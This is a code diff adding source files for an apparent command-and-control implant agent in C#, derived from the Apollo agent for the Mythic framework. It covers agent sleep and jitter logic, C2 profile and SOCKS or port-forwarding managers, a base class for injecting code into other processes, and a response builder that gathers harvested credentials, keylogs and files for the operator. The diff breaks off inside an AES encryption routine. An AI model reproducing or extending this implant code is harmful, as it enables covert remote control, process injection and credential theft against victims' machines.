{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x64.Build.0 = Debug|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Debug|x86.Build.0 = Debug|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.ActiveCfg = Release|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x64.Build.0 = Release|x64
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.ActiveCfg = Release|x86
|
||||
{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}.Release|x86.Build.0 = Release|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x64.Build.0 = Debug|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.ActiveCfg = Debug|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Debug|x86.Build.0 = Debug|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.ActiveCfg = Release|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x64.Build.0 = Release|x64
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.ActiveCfg = Release|x86
|
||||
{BF1EB4E2-0979-4C26-A156-E59C929CF710}.Release|x86.Build.0 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
BIN
Payload_Type/ares/ares/agent_code/ApolloIcoJPEG.ico
Normal file
BIN
Payload_Type/ares/ares/agent_code/ApolloIcoJPEG.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 264 KiB |
@@ -0,0 +1,26 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net451</TargetFramework>
|
||||
<OutputType>Library</OutputType>
|
||||
<LangVersion>12</LangVersion>
|
||||
<Nullable>enable</Nullable>
|
||||
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||
<Platforms>AnyCPU;x64;x86</Platforms>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System.Security" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
|
||||
<PackageReference Include="System.Data.DataSetExtensions" Version="4.5.0" />
|
||||
<PackageReference Include="System.Memory" Version="4.5.5" />
|
||||
<PackageReference Include="System.ValueTuple" Version="4.5.0" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="PolySharp" Version="1.14.1" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Remove="Serializers\ApolloSerializationBinder.cs" />
|
||||
<Compile Remove="Serializers\EncryptedSMBSerializer.cs" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,29 @@
|
||||
namespace ApolloInterop.Classes.Api
|
||||
{
|
||||
public class Library
|
||||
{
|
||||
public string Value { get; private set; }
|
||||
private Library(string libraryName)
|
||||
{
|
||||
Value = libraryName;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return Value;
|
||||
}
|
||||
|
||||
public static Library NTDLL { get { return new Library("ntdll.dll"); } }
|
||||
public static Library ADVAPI32 { get { return new Library("advapi32.dll"); } }
|
||||
public static Library KERNEL32 { get { return new Library("kernel32.dll"); } }
|
||||
public static Library USER32 { get { return new Library("user32.dll"); } }
|
||||
public static Library USERENV { get { return new Library("userenv.dll"); } }
|
||||
public static Library SHELL32 { get { return new Library("shell32.dll"); } }
|
||||
public static Library SAMCLI { get { return new Library("samcli.dll"); } }
|
||||
public static Library NETUTILS { get { return new Library("netutils.dll"); } }
|
||||
public static Library NETAPI32 { get { return new Library("Netapi32.dll"); } }
|
||||
public static Library SRVCLI { get { return new Library("srvcli.dll"); } }
|
||||
public static Library IPHLPAPI { get { return new Library("iphlpapi.dll"); } }
|
||||
public static Library SECUR32 { get { return new Library("Secur32.dll"); } }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace ApolloInterop.Classes.Collections
|
||||
{
|
||||
public class ThreadSafeList<T> : IList<T>
|
||||
{
|
||||
List<T> _collection = new List<T>();
|
||||
|
||||
public T this[int index] { get => GetIndexedItem(index); set => SetIndexedItem(index, value); }
|
||||
|
||||
|
||||
private void SetIndexedItem(int index, T val)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection[index] = val;
|
||||
}
|
||||
}
|
||||
|
||||
private T GetIndexedItem(int index)
|
||||
{
|
||||
T item;
|
||||
lock(_collection)
|
||||
{
|
||||
item = _collection[index];
|
||||
}
|
||||
return item;
|
||||
}
|
||||
|
||||
public int Count()
|
||||
{
|
||||
int count = 0;
|
||||
lock(_collection)
|
||||
{
|
||||
count = _collection.Count;
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
public bool IsReadOnly => false;
|
||||
|
||||
int ICollection<T>.Count => Count();
|
||||
|
||||
public void Add(T obj)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection.Add(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public void Clear()
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public bool Contains(T item)
|
||||
{
|
||||
bool bRet;
|
||||
lock(_collection)
|
||||
{
|
||||
bRet = _collection.Contains(item);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
public void CopyTo(T[] array, int arrayIndex)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
Buffer.BlockCopy(_collection.ToArray(), 0, array, arrayIndex, _collection.Count);
|
||||
}
|
||||
}
|
||||
|
||||
public IEnumerator<T> GetEnumerator()
|
||||
{
|
||||
IEnumerator<T> res;
|
||||
lock(_collection)
|
||||
{
|
||||
res = _collection.GetEnumerator();
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public int IndexOf(T item)
|
||||
{
|
||||
int i = -1;
|
||||
lock(_collection)
|
||||
{
|
||||
i = _collection.IndexOf(item);
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
public void Insert(int index, T item)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection[index] = item;
|
||||
}
|
||||
}
|
||||
|
||||
public bool Remove(T obj)
|
||||
{
|
||||
bool bRet = false;
|
||||
lock(_collection)
|
||||
{
|
||||
bRet = _collection.Remove(obj);
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
public void RemoveAt(int index)
|
||||
{
|
||||
lock(_collection)
|
||||
{
|
||||
_collection.RemoveAt(index);
|
||||
}
|
||||
}
|
||||
|
||||
IEnumerator IEnumerable.GetEnumerator()
|
||||
{
|
||||
IEnumerator res;
|
||||
lock(_collection)
|
||||
{
|
||||
res = _collection.GetEnumerator();
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
public T[] Flush()
|
||||
{
|
||||
T[] result;
|
||||
lock(_collection)
|
||||
{
|
||||
result = _collection.ToArray();
|
||||
_collection.Clear();
|
||||
}
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
using System;
|
||||
using System.Threading;
|
||||
using ApolloInterop.Features.KerberosTickets;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class Agent : IAgent
|
||||
{
|
||||
private static Mutex _outputLock = new Mutex();
|
||||
public int SleepInterval { get; protected set; } = 0;
|
||||
public double Jitter { get; protected set; } = 0;
|
||||
protected AutoResetEvent _sleepReset = new AutoResetEvent(false);
|
||||
protected AutoResetEvent _exit = new AutoResetEvent(false);
|
||||
protected WaitHandle[] _agentSleepHandles;
|
||||
public bool Alive { get; protected set; } = true;
|
||||
|
||||
protected Random random = new Random((int)DateTime.UtcNow.Ticks);
|
||||
|
||||
public IPeerManager PeerManager { get; protected set; }
|
||||
public ITaskManager TaskManager { get; protected set; }
|
||||
public ISocksManager SocksManager { get; protected set; }
|
||||
public IRpfwdManager RpfwdManager { get; protected set; }
|
||||
public IApi Api { get; protected set; }
|
||||
public IC2ProfileManager C2ProfileManager { get; protected set; }
|
||||
public ICryptographySerializer Serializer { get; protected set; }
|
||||
public IFileManager FileManager { get; protected set; }
|
||||
public IIdentityManager IdentityManager { get; protected set; }
|
||||
public IProcessManager ProcessManager { get; protected set; }
|
||||
public IInjectionManager InjectionManager { get; protected set; }
|
||||
|
||||
public ITicketManager TicketManager { get; protected set; }
|
||||
public string UUID { get; protected set; }
|
||||
|
||||
public Agent(string uuid)
|
||||
{
|
||||
UUID = uuid;
|
||||
_agentSleepHandles = new WaitHandle[]
|
||||
{
|
||||
_sleepReset,
|
||||
_exit
|
||||
};
|
||||
}
|
||||
|
||||
public abstract void Start();
|
||||
public virtual void Exit() { Alive = false; _exit.Set(); }
|
||||
public virtual void SetSleep(int seconds, double jitter=0)
|
||||
{
|
||||
SleepInterval = seconds * 1000;
|
||||
Jitter = jitter;
|
||||
if (Jitter != 0)
|
||||
{
|
||||
Jitter = Jitter / 100.0;
|
||||
}
|
||||
_sleepReset.Set();
|
||||
}
|
||||
|
||||
public virtual IApi GetApi()
|
||||
{
|
||||
return Api;
|
||||
}
|
||||
public virtual void Sleep(WaitHandle[] handles = null)
|
||||
{
|
||||
int sleepTime = SleepInterval;
|
||||
if (Jitter != 0)
|
||||
{
|
||||
int minSleep = (int)(SleepInterval * (1 - Jitter));
|
||||
int maxSleep = (int)(SleepInterval * (Jitter + 1));
|
||||
sleepTime = (int)(random.NextDouble() * (maxSleep - minSleep) + minSleep);
|
||||
}
|
||||
WaitHandle[] sleepers = _agentSleepHandles;
|
||||
if (handles != null)
|
||||
{
|
||||
WaitHandle[] tmp = new WaitHandle[handles.Length + sleepers.Length];
|
||||
Array.Copy(handles, tmp, handles.Length);
|
||||
Array.Copy(sleepers, 0, tmp, handles.Length, sleepers.Length);
|
||||
sleepers = tmp;
|
||||
}
|
||||
WaitHandle.WaitAny(sleepers, sleepTime);
|
||||
}
|
||||
|
||||
public void AcquireOutputLock()
|
||||
{
|
||||
_outputLock.WaitOne();
|
||||
}
|
||||
|
||||
public void ReleaseOutputLock()
|
||||
{
|
||||
_outputLock.ReleaseMutex();
|
||||
}
|
||||
|
||||
public virtual bool IsAlive() { return Alive; }
|
||||
|
||||
public virtual ITaskManager GetTaskManager() { return TaskManager; }
|
||||
public virtual IPeerManager GetPeerManager() { return PeerManager; }
|
||||
public virtual ISocksManager GetSocksManager() { return SocksManager; }
|
||||
public virtual IRpfwdManager GetRpfwdManager() { return RpfwdManager; }
|
||||
public virtual IC2ProfileManager GetC2ProfileManager() { return C2ProfileManager; }
|
||||
public virtual ICryptographySerializer GetCryptographySerializer() { return Serializer; }
|
||||
public virtual IFileManager GetFileManager() { return FileManager; }
|
||||
public virtual IIdentityManager GetIdentityManager() { return IdentityManager; }
|
||||
public virtual IProcessManager GetProcessManager() { return ProcessManager; }
|
||||
public virtual IInjectionManager GetInjectionManager() { return InjectionManager; }
|
||||
|
||||
public virtual ITicketManager GetTicketManager() { return TicketManager; }
|
||||
public string GetUUID()
|
||||
{
|
||||
return UUID;
|
||||
}
|
||||
public void SetUUID(string newUUID){
|
||||
UUID = newUUID;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System.Collections.Generic;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System.Collections.Concurrent;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Classes.Core;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class C2Profile
|
||||
{
|
||||
protected const int MAX_RETRIES = 10;
|
||||
protected ISerializer Serializer;
|
||||
protected IAgent Agent;
|
||||
protected bool Connected = false;
|
||||
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> MessageStore = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
|
||||
public C2Profile(Dictionary<string, string> parameters, ISerializer serializer, IAgent agent)
|
||||
{
|
||||
Agent = agent;
|
||||
Serializer = serializer;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class C2ProfileManager : IC2ProfileManager
|
||||
{
|
||||
protected IAgent Agent;
|
||||
protected ConcurrentBag<IC2Profile> EgressProfiles = new ConcurrentBag<IC2Profile>();
|
||||
protected ConcurrentBag<IC2Profile> IngressProfiles = new ConcurrentBag<IC2Profile>();
|
||||
|
||||
public C2ProfileManager(IAgent agent)
|
||||
{
|
||||
Agent = agent;
|
||||
}
|
||||
|
||||
public abstract IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters);
|
||||
|
||||
public virtual bool AddEgress(IC2Profile profile)
|
||||
{
|
||||
EgressProfiles.Add(profile);
|
||||
return true;
|
||||
}
|
||||
|
||||
public virtual bool AddIngress(IC2Profile profile)
|
||||
{
|
||||
IngressProfiles.Add(profile);
|
||||
return true;
|
||||
}
|
||||
|
||||
public virtual IC2Profile[] GetEgressCollection()
|
||||
{
|
||||
return EgressProfiles.ToArray();
|
||||
}
|
||||
|
||||
public virtual IC2Profile[] GetIngressCollection()
|
||||
{
|
||||
return IngressProfiles.ToArray();
|
||||
}
|
||||
|
||||
public virtual IC2Profile[] GetConnectedEgressCollection()
|
||||
{
|
||||
List<IC2Profile> connected = new List<IC2Profile>();
|
||||
foreach(var c2 in EgressProfiles.ToArray())
|
||||
{
|
||||
if (c2.IsConnected())
|
||||
connected.Add(c2);
|
||||
}
|
||||
return connected.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Core
|
||||
{
|
||||
public class ChunkedMessageStore<T> where T : IChunkMessage
|
||||
{
|
||||
private T[] _messages = null;
|
||||
private object _lock = new object();
|
||||
private int _currentCount = 0;
|
||||
|
||||
public event EventHandler<ChunkMessageEventArgs<T>> ChunkAdd;
|
||||
public event EventHandler<ChunkMessageEventArgs<T>> MessageComplete;
|
||||
public void OnMessageComplete() => MessageComplete?.Invoke(this, new ChunkMessageEventArgs<T>(_messages));
|
||||
public void AddMessage(T d)
|
||||
{
|
||||
lock(_lock)
|
||||
{
|
||||
if (_messages == null)
|
||||
{
|
||||
_messages = new T[d.GetTotalChunks()];
|
||||
}
|
||||
_messages[d.GetChunkNumber()-1] = d;
|
||||
_currentCount += 1;
|
||||
}
|
||||
if (_currentCount == d.GetTotalChunks())
|
||||
{
|
||||
OnMessageComplete();
|
||||
} else
|
||||
{
|
||||
ChunkAdd?.Invoke(this, new ChunkMessageEventArgs<T>(new T[1] { d }));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
using ApolloInterop.Classes.Api;
|
||||
using ApolloInterop.Interfaces;
|
||||
using static ApolloInterop.Enums.Win32;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace ApolloInterop.Classes.Core
|
||||
{
|
||||
public abstract class InjectionTechnique : IInjectionTechnique
|
||||
{
|
||||
protected byte[] _code;
|
||||
protected int _processId;
|
||||
protected IntPtr _hProcess = IntPtr.Zero;
|
||||
protected IAgent _agent;
|
||||
protected delegate IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int pid);
|
||||
protected delegate bool DuplicateHandle(
|
||||
IntPtr hSourceProcessHandle,
|
||||
IntPtr hSourceHandle,
|
||||
IntPtr hTargetProcessHandle,
|
||||
out IntPtr lpTargetHandle,
|
||||
ProcessAccessFlags dwDesiredAccess,
|
||||
bool bInheritHandle,
|
||||
int dwOptions);
|
||||
protected delegate void CloseHandle(IntPtr hHandle);
|
||||
|
||||
protected OpenProcess _pOpenProcess;
|
||||
protected DuplicateHandle _pDuplicateHandle;
|
||||
protected CloseHandle _pCloseHandle;
|
||||
|
||||
// Dangerous - should only be used when resolving
|
||||
// critical functions _pOpenProcess, _pDuplicateHandle,
|
||||
// and _pCloseHandle.
|
||||
public InjectionTechnique()
|
||||
{
|
||||
|
||||
}
|
||||
public InjectionTechnique(IAgent agent, byte[] code, int pid)
|
||||
{
|
||||
_code = code;
|
||||
_processId = pid;
|
||||
_agent = agent;
|
||||
ResolveCriticalFunctions();
|
||||
_hProcess = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, pid);
|
||||
}
|
||||
|
||||
public InjectionTechnique(IAgent agent, byte[] code, IntPtr hProcess)
|
||||
{
|
||||
_code = code;
|
||||
_agent = agent;
|
||||
|
||||
ResolveCriticalFunctions();
|
||||
bool bRet = _pDuplicateHandle(
|
||||
System.Diagnostics.Process.GetCurrentProcess().Handle,
|
||||
hProcess,
|
||||
hProcess,
|
||||
out _hProcess,
|
||||
ProcessAccessFlags.MAXIMUM_ALLOWED,
|
||||
false,
|
||||
0);
|
||||
if (!bRet)
|
||||
{
|
||||
throw new Win32Exception(System.Runtime.InteropServices.Marshal.GetLastWin32Error());
|
||||
}
|
||||
}
|
||||
|
||||
~InjectionTechnique()
|
||||
{
|
||||
if (_hProcess != IntPtr.Zero)
|
||||
{
|
||||
_pCloseHandle(_hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
private void ResolveCriticalFunctions()
|
||||
{
|
||||
_pOpenProcess = _agent.GetApi().GetLibraryFunction<OpenProcess>(Library.KERNEL32, "OpenProcess");
|
||||
_pDuplicateHandle = _agent.GetApi().GetLibraryFunction<DuplicateHandle>(Library.KERNEL32, "DuplicateHandle");
|
||||
_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
|
||||
}
|
||||
|
||||
public abstract bool Inject(string arguments = "");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
using ApolloInterop.Classes.Api;
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Core
|
||||
{
|
||||
public abstract class Process : IProcess
|
||||
{
|
||||
public string Application { get; protected set; }
|
||||
public string CommandLine { get; protected set; }
|
||||
protected bool _startSuspended;
|
||||
public bool HasExited { get; protected set; }
|
||||
public int ExitCode { get; protected set; }
|
||||
public uint PID { get; protected set; }
|
||||
public string StdOut { get; protected set; } = "";
|
||||
public string StdErr { get; protected set; } = "";
|
||||
public IntPtr Handle { get; protected set; }
|
||||
protected IAgent _agent;
|
||||
private delegate ulong RtlNtStatusToDosError(int status);
|
||||
public event EventHandler<StringDataEventArgs> OutputDataReceived;
|
||||
public event EventHandler<StringDataEventArgs> ErrorDataReceieved;
|
||||
public event EventHandler Exit;
|
||||
|
||||
public void OnOutputDataReceived(object sender, StringDataEventArgs args)
|
||||
{
|
||||
OutputDataReceived?.Invoke(sender, args);
|
||||
}
|
||||
|
||||
public void OnErrorDataRecieved(object sender, StringDataEventArgs args)
|
||||
{
|
||||
ErrorDataReceieved?.Invoke(sender, args);
|
||||
}
|
||||
|
||||
public abstract void Kill();
|
||||
|
||||
public void OnExit(object sender, EventArgs args)
|
||||
{
|
||||
Exit?.Invoke(sender, args);
|
||||
}
|
||||
public Process(IAgent agent, string lpApplication, string lpArguments = null, bool startSuspended = false)
|
||||
{
|
||||
_agent = agent;
|
||||
if (string.IsNullOrEmpty(lpApplication) && string.IsNullOrEmpty(lpArguments))
|
||||
{
|
||||
throw new Exception("Application and arguments cannot be null.");
|
||||
}
|
||||
if (string.IsNullOrEmpty(lpArguments))
|
||||
{
|
||||
CommandLine = lpApplication;
|
||||
Application = lpApplication;
|
||||
}
|
||||
else if (string.IsNullOrEmpty(lpApplication))
|
||||
{
|
||||
CommandLine = lpArguments;
|
||||
}
|
||||
else
|
||||
{
|
||||
Application = lpApplication;
|
||||
CommandLine = $"{lpApplication} {lpArguments}";
|
||||
}
|
||||
_startSuspended = startSuspended;
|
||||
}
|
||||
|
||||
public int? GetExitCodeHResult()
|
||||
{
|
||||
const uint HRESULT_MASK = 0x80070000;
|
||||
|
||||
if (!HasExited)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
var rtlNtStatusToDosError = _agent.GetApi().GetLibraryFunction<RtlNtStatusToDosError>(Library.NTDLL, "RtlNtStatusToDosError");
|
||||
if (rtlNtStatusToDosError == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
return unchecked((int)(rtlNtStatusToDosError(ExitCode) | HRESULT_MASK));
|
||||
}
|
||||
|
||||
public abstract bool Inject(byte[] code, string arguments = "");
|
||||
|
||||
public abstract bool Start();
|
||||
|
||||
public abstract bool StartWithCredentials(ApolloLogonInformation logonInfo);
|
||||
|
||||
public abstract bool StartWithCredentials(IntPtr hToken);
|
||||
|
||||
public abstract void WaitForExit();
|
||||
|
||||
public abstract void WaitForExit(int milliseconds);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System;
|
||||
using System.Net.Sockets;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class RpfwdManager : IRpfwdManager
|
||||
{
|
||||
protected IAgent _agent;
|
||||
|
||||
public RpfwdManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
}
|
||||
|
||||
public virtual bool AddConnection(TcpClient client, int ServerID, int port, int debugLevel, Tasking task)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public virtual bool Route(SocksDatagram dg)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public virtual bool Remove(int id)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class SocksManager : ISocksManager
|
||||
{
|
||||
protected IAgent _agent;
|
||||
|
||||
public SocksManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
}
|
||||
|
||||
public virtual bool Route(SocksDatagram dg)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
|
||||
public virtual bool Remove(int id)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using ApolloInterop.Serializers;
|
||||
using ApolloInterop.Classes.Impersonation;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class Tasking : ITask
|
||||
{
|
||||
protected IAgent _agent;
|
||||
protected MythicTask _data;
|
||||
protected static JsonSerializer _jsonSerializer = new JsonSerializer();
|
||||
protected CancellationTokenSource _cancellationToken;
|
||||
public Tasking(IAgent agent, MythicTask data)
|
||||
{
|
||||
_agent = agent;
|
||||
_data = data;
|
||||
_cancellationToken = new CancellationTokenSource();
|
||||
}
|
||||
|
||||
public string ID()
|
||||
{
|
||||
return _data.ID;
|
||||
}
|
||||
|
||||
public abstract void Start();
|
||||
|
||||
public virtual System.Threading.Tasks.Task CreateTasking()
|
||||
{
|
||||
return new System.Threading.Tasks.Task(() =>
|
||||
{
|
||||
var impersonationIdentity = _agent.GetIdentityManager().GetCurrentImpersonationIdentity();
|
||||
ImpersonationScope.Run(impersonationIdentity, Start);
|
||||
}, _cancellationToken.Token);
|
||||
}
|
||||
|
||||
public virtual void Kill()
|
||||
{
|
||||
_cancellationToken.Cancel();
|
||||
}
|
||||
|
||||
public virtual MythicTaskResponse CreateTaskResponse(object userOutput, bool completed, string? status = null, IEnumerable<IMythicMessage>? messages = null)
|
||||
{
|
||||
MythicTaskResponse resp = new MythicTaskResponse();
|
||||
resp.UserOutput = userOutput;
|
||||
resp.Completed = completed;
|
||||
resp.TaskID = _data.ID;
|
||||
resp.Status = status;
|
||||
if (messages != null)
|
||||
{
|
||||
List<EdgeNode> edges = new List<EdgeNode>();
|
||||
List<Credential> creds = new List<Credential>();
|
||||
List<RemovedFileInformation> removed = new List<RemovedFileInformation>();
|
||||
List<Artifact> artifacts = new List<Artifact>();
|
||||
List<ProcessInformation> processes = new List<ProcessInformation>();
|
||||
List<CommandInformation> cmds = new List<CommandInformation>();
|
||||
List<KeylogInformation> keylogs = new List<KeylogInformation>();
|
||||
foreach (IMythicMessage msg in messages)
|
||||
{
|
||||
switch (msg.GetTypeCode())
|
||||
{
|
||||
case MessageType.CommandInformation:
|
||||
cmds.Add((CommandInformation)msg);
|
||||
break;
|
||||
case MessageType.EdgeNode:
|
||||
edges.Add((EdgeNode)msg);
|
||||
break;
|
||||
case MessageType.FileBrowser:
|
||||
resp.FileBrowser = (FileBrowser)msg;
|
||||
break;
|
||||
case MessageType.Credential:
|
||||
creds.Add((Credential)msg);
|
||||
break;
|
||||
case MessageType.RemovedFileInformation:
|
||||
removed.Add((RemovedFileInformation)msg);
|
||||
break;
|
||||
case MessageType.Artifact:
|
||||
artifacts.Add((Artifact)msg);
|
||||
break;
|
||||
case MessageType.UploadMessage:
|
||||
resp.Upload = (UploadMessage)msg;
|
||||
break;
|
||||
case MessageType.DownloadMessage:
|
||||
resp.Download = (DownloadMessage)msg;
|
||||
break;
|
||||
case MessageType.ProcessInformation:
|
||||
processes.Add((ProcessInformation)msg);
|
||||
break;
|
||||
case MessageType.KeylogInformation:
|
||||
keylogs.Add((KeylogInformation)msg);
|
||||
break;
|
||||
case MessageType.CallbackUpdate:
|
||||
resp.Callback = (CallbackUpdate)msg;
|
||||
break;
|
||||
default:
|
||||
throw new Exception($"Unhandled message type while generating response: {msg.GetTypeCode()}");
|
||||
}
|
||||
}
|
||||
resp.Edges = edges.ToArray();
|
||||
resp.Credentials = creds.ToArray();
|
||||
resp.RemovedFiles = removed.ToArray();
|
||||
resp.Artifacts = artifacts.ToArray();
|
||||
resp.Commands = cmds.ToArray();
|
||||
resp.Keylogs = keylogs.ToArray();
|
||||
if (processes.Count > 0)
|
||||
{
|
||||
resp.Processes = processes.ToArray();
|
||||
}
|
||||
}
|
||||
return resp;
|
||||
}
|
||||
|
||||
public virtual MythicTaskResponse CreateArtifactTaskResponse(IEnumerable<Artifact> artifacts)
|
||||
{
|
||||
var artifactMessages = new IMythicMessage[artifacts.Count()];
|
||||
for (int i = 0; i < artifacts.Count(); i++)
|
||||
{
|
||||
artifactMessages[i] = artifacts.ElementAt(i);
|
||||
}
|
||||
return CreateTaskResponse("", false, "", artifactMessages);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes.Cryptography
|
||||
{
|
||||
public class AesRoutine : ICryptographicRoutine
|
||||
{
|
||||
private readonly Aes _aes;
|
||||
|
||||
public AesRoutine()
|
||||
{
|
||||
_aes = Aes.Create();
|
||||
}
|
||||
|
||||
public AesRoutine(Aes aes)
|
||||
{
|
||||
_aes = aes;
|
||||
}
|
||||
|
||||
public byte[] Encrypt(byte[] plaintext)
|
||||
{
|
||||
byte[] encrypted;
|
||||
|
||||
// Create an Aes object
|
||||
// with the specified key and IV.
|
||||
using (Aes aesAlg = Aes.Create())
|
||||
{
|
||||
aesAlg.Key = _aes.Key;
|
||||
aesAlg.IV = _aes.IV;
|
||||
|
||||
// Create an encryptor to perform the stream transform.
|
||||
ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
|
||||
|
||||
